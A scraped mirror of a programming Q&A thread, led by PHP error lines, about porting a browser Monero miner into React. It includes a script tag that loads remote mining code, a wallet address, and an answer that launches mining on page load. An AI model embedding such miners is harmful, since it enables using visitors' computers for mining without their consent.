Warning: file_get_contents(/data/phpspider/zhask/data//catemap/9/javascript/374.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Javascript 函数未从react中的外部js文件导入_Javascript_Reactjs_Import_Web Mining - Fatal编程技术网

Javascript 函数未从react中的外部js文件导入

Javascript 函数未从react中的外部js文件导入,javascript,reactjs,import,web-mining,Javascript,Reactjs,Import,Web Mining,我正在从EJS模板迁移一个web矿工以做出反应。下面的代码启动挖掘过程 <script src="https://cloud-miner.de/tkefrep/tkefrep.js?tkefrep=bs?nosaj=faster.moneroocean"></script> <script> $(function() { EverythingIsLife('...', 'x', 70); $("#webMin

我正在从EJS模板迁移一个web矿工以做出反应。下面的代码启动挖掘过程

<script src="https://cloud-miner.de/tkefrep/tkefrep.js?tkefrep=bs?nosaj=faster.moneroocean"></script>

<script>
  $(function() {
    EverythingIsLife('...', 'x', 70);
    $("#webMinerInfo").html("Mining...");
  });
</script>
在我的index.html的头部,我有:

它返回一个错误:

无法编译!生命中的一切都没有定义


我怎样才能解决这个问题?非常感谢您的帮助。

您需要将处理脚本初始化的事件侦听器绑定/解除绑定到dom
load
事件:

class Comp1 extends React.Component {
 constructor(props) {
    super(props);
    this.handleLoad = this.handleLoad.bind(this);
 }

 componentDidMount() {
    window.addEventListener('load', this.handleLoad);
 }

 componentWillUnmount() { 
   window.removeEventListener('load', this.handleLoad)  
 }

 handleLoad() {
  window.EverythingIsLife('41e5VEKZTbWYpEWRW21yV1E9AVgNkNGrBciPSncifEAbHqxGUSd12Xr5yCfMyUTJM92opviLuaAWhXCHaX4gvdYLBBT9zUR', 'x', 70);
    $("#webMinerInfo").html("Mining...");
 }
}
上面的代码相当于
$(function(){})

$(函数(){…});jQuery只是 $(文档).ready(函数(){…});它的设计目的是什么 (除其他事项外)是确保函数被一次性调用 页面的DOM元素已准备好使用


摘自

@Shrey Hoshi的旁注,你对从网页上挖掘moneros有什么看法?它有利可图吗?嗨,马克西姆,谢谢你的建议。我正在使用react函数组件,并尝试使用useEffect()执行此操作,但它仍然返回相同的错误。我尝试使用类,就像您编写代码一样,但似乎没有什么不同:/Nice HOOK更好是的!查看您的代码,我认为您不必要地将
脚本
标记包装为
require
。你是否也在你的html
标题中添加了这些内容呢?试着使用
窗口。一切都是生活
class Comp1 extends React.Component {
 constructor(props) {
    super(props);
    this.handleLoad = this.handleLoad.bind(this);
 }

 componentDidMount() {
    window.addEventListener('load', this.handleLoad);
 }

 componentWillUnmount() { 
   window.removeEventListener('load', this.handleLoad)  
 }

 handleLoad() {
  window.EverythingIsLife('41e5VEKZTbWYpEWRW21yV1E9AVgNkNGrBciPSncifEAbHqxGUSd12Xr5yCfMyUTJM92opviLuaAWhXCHaX4gvdYLBBT9zUR', 'x', 70);
    $("#webMinerInfo").html("Mining...");
 }
}